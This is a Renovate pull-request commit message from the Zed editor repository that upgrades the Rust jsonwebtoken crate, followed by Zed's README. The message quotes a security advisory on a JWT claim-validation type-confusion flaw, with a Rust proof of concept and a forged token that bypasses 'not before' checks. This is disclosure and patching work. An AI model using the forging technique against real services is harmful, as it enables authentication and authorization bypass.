This PR contains the following updates: | Package | Type | Update | Change | |---|---|---|---| | [jsonwebtoken](https://redirect.github.com/Keats/jsonwebtoken) | workspace.dependencies | major | `9.3` → `10.0` | --- > [!WARNING] > Some dependencies could not be looked up. Check the Dependency Dashboard for more information. ### GitHub Vulnerability Alerts #### [GHSA-h395-gr6q-cpjc](https://redirect.github.com/Keats/jsonwebtoken/security/advisories/GHSA-h395-gr6q-cpjc) ## Summary: It has been discovered that there is a Type Confusion vulnerability in jsonwebtoken, specifically, in its claim validation logic. When a standard claim (such as nbf or exp) is provided with an incorrect JSON type (Like a String instead of a Number), the library’s internal parsing mechanism marks the claim as “FailedToParse”. Crucially, the validation logic treats this “FailedToParse” state identically to “NotPresent”. This means that if a check is enabled (like: validate_nbf = true), but the claim is not explicitly marked as required in required_spec_claims, the library will skip the validation check entirely for the malformed claim, treating it as if it were not there. This allows attackers to bypass critical time-based security restrictions (like “Not Before” checks) and commit potential authentication and authorization bypasses. ## Details: The vulnerability stems from the interaction between the TryParse enum and the validate function in [src/validation.rs](https://redirect.github.com/Keats/jsonwebtoken/blob/master/src/validation.rs). 1. The TryParse Enum: The library uses a custom TryParse enum to handle claim deserialization: ``` enum TryParse<T> { Parsed(T), FailedToParse, // Set when deserialization fails (e.g. type mismatch) NotPresent, } ``` If a user sends {“nbf”: “99999999999”} (legacy/string format), serde fails to parse it as u64, and it results in TryParse::FailedToParse. 1. The Validation Logic Flaw (src/validation.rs): In Validation::validate, the code checks for exp and nbf like this: ``` // L288-291 if matches!(claims.nbf, TryParse::Parsed(nbf) if options.validate_nbf && nbf > now + options.leeway) { return Err(new_error(ErrorKind::ImmatureSignature)); } ``` This matches! macro explicitly looks for TryParse::Parsed(nbf). • If claims.nbf is FailedToParse, the match returns false. • The if block is skipped. • No error is returned. 1. The “Required Claims” Gap: The only fallback mechanism is the “Required Claims” check: ``` // Lines 259-267 for required_claim in &options.required_spec_claims { let present = match required_claim.as_str() { "nbf" => matches!(claims.nbf, TryParse::Parsed(_)), // ... }; if !present { return Err(...); } } ``` If “nbf” IS in required_spec_claims, FailedToParse will fail the matches!(..., Parsed(_)) check, causing the present to be false, and correctly returning an error. However, widely accepted usage patterns often enable validation flags (validate_nbf = true) without adding the claim to the required list, assuming that enabling validation implicitly requires the claim’s validity if it appears in the token. jsonwebtoken seems to violate this assumption. Environment: • Version: jsonwebtoken 10.2.0 • Rust Version: rustc 1.90.0 • Cargo Version: cargo 1.90.0 • OS: MacOS Tahoe 26.2 POC: For demonstrating, Here is this simple rust code that demonstrates the bypass. It attempts to validate a token with a string nbf claiming to be valid only in the far future. create a new project: ``` cargo new nbf_poc; cd nbf_poc ``` add required dependencies: ``` cargo add serde --features derive cargo add jsonwebtoken --features rust_crypto cargo add serde_json ``` replace the code in src/main.rs with this: ``` use jsonwebtoken::{decode, Validation, Algorithm, DecodingKey, Header, EncodingKey, encode}; use serde::{Deserialize, Serialize}; #[derive(Debug, Serialize, Deserialize)] struct Claims { sub: String, nbf: String, // Attacker sends nbf as a String exp: usize, } fn main() { let key: &[u8; 24] = b"RedMouseOverTheSkyIsBlue"; // nbf is a String "99999999999" (Far future) // Real nbf should be a Number. let my_claims: Claims = Claims { sub: "krishna".to_string(), nbf: "99999999999".to_string(), exp: 10000000000, }; let token: String = encode(&Header::default(), &my_claims, &EncodingKey::from_secret(key)).unwrap(); println!("Forged Token: {}", token); // 2. Configure Validation let mut validation: Validation = Validation::new(Algorithm::HS256); validation.validate_nbf = true; // Enable NBF check // We do NOT add "nbf" to required_spec_claims (default behavior) // We decode to serde_json::Value to avoid strict type errors in our struct definition hiding the library bug. // The library sees the raw JSON with string "nbf". let result: Result<jsonwebtoken::TokenData<serde_json::Value>, jsonwebtoken::errors::Error> = decode::<serde_json::Value>( &token, &DecodingKey::from_secret(key), &validation ); match result { Ok(_) => println!("Token was accepted despite malformed far-future 'nbf'!"), Err(e) => println!("Token rejected. Error: {:?}", e), } } ``` run cargo run expected behaviour: ``` Forged Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJrcmlzaG5hIiwibmJmIjoiOTk5OTk5OTk5OTkiLCJleHAiOjEwMDAwMDAwMDAwfQ.Fm3kZIqMwqIA6sEA1w52UOMqqnu4hlO3FQStFmbaOwk ``` Token was accepted despite malformed far-future 'nbf'! Impact: If an application uses jsonwebtoken nbf (Not Before) to schedule access for the future (like “Access granted starting tomorrow”). By sending nbf as a string, an attacker can bypass this restriction and access the resource immediately. and for the exp claim (this is unlikely but still adding), If a developer sets validate_exp = true but manually handles claim presence (removing exp from required_spec_claims), an attacker can send a string exp (e.g., “never”) and bypass expiration checks entirely. The token becomes valid forever. --- ### Release Notes <details> <summary>Keats/jsonwebtoken (jsonwebtoken)</summary> ### [`v10.3.0`](https://redirect.github.com/Keats/jsonwebtoken/blob/HEAD/CHANGELOG.md#1030-2026-01-27) [Compare Source](https://redirect.github.com/Keats/jsonwebtoken/compare/v10.2.0...v10.3.0) - Export everything needed to define your own CryptoProvider - Fix type confusion with exp/nbf when not required ### [`v10.2.0`](https://redirect.github.com/Keats/jsonwebtoken/blob/HEAD/CHANGELOG.md#1020-2025-11-06) [Compare Source](https://redirect.github.com/Keats/jsonwebtoken/compare/v10.1.0...v10.2.0) - Remove `Clone` bound from decode functions ### [`v10.1.0`](https://redirect.github.com/Keats/jsonwebtoken/blob/HEAD/CHANGELOG.md#1010-2025-10-18) [Compare Source](https://redirect.github.com/Keats/jsonwebtoken/compare/v10.0.0...v10.1.0) - add `dangerous::insecure_decode` - Implement TryFrom \&Jwk for DecodingKey ### [`v10.0.0`](https://redirect.github.com/Keats/jsonwebtoken/blob/HEAD/CHANGELOG.md#1000-2025-09-29) [Compare Source](https://redirect.github.com/Keats/jsonwebtoken/compare/v9.3.1...v10.0.0) - BREAKING: now using traits for crypto backends, you have to choose between `aws_lc_rs` and `rust_crypto` - Add `Clone` bound to `decode` - Support decoding byte slices - Support JWS </details> --- ### Configuration 📅 **Schedule**: Branch creation - "" in timezone America/New_York, Automerge - At any time (no schedule defined). 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- Release Notes: - N/A <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0Mi45NS4yIiwidXBkYXRlZEluVmVyIjoiNDIuOTUuMiIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOltdfQ==--> --------- Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> Co-authored-by: Marshall Bowers <git@maxdeviant.com>
Zed
Welcome to Zed, a high-performance, multiplayer code editor from the creators of Atom and Tree-sitter.
Installation
On macOS, Linux, and Windows you can download Zed directly or install Zed via your local package manager (macOS/Linux/Windows).
Other platforms are not yet available:
- Web (tracking issue)
Developing Zed
Contributing
See CONTRIBUTING.md for ways you can contribute to Zed.
Also... we're hiring! Check out our jobs page for open roles.
Licensing
License information for third party dependencies must be correctly provided for CI to pass.
We use cargo-about to automatically comply with open source licenses. If CI is failing, check the following:
- Is it showing a
no license specifiederror for a crate you've created? If so, addpublish = falseunder[package]in your crate's Cargo.toml. - Is the error
failed to satisfy license requirementsfor a dependency? If so, first determine what license the project has and whether this system is sufficient to comply with this license's requirements. If you're unsure, ask a lawyer. Once you've verified that this system is acceptable add the license's SPDX identifier to theacceptedarray inscript/licenses/zed-licenses.toml. - Is
cargo-aboutunable to find the license for a dependency? If so, add a clarification field at the end ofscript/licenses/zed-licenses.toml, as specified in the cargo-about book.
Sponsorship
Zed is developed by Zed Industries, Inc., a for-profit company.
If you’d like to financially support the project, you can do so via GitHub Sponsors. Sponsorships go directly to Zed Industries and are used as general company revenue. There are no perks or entitlements associated with sponsorship.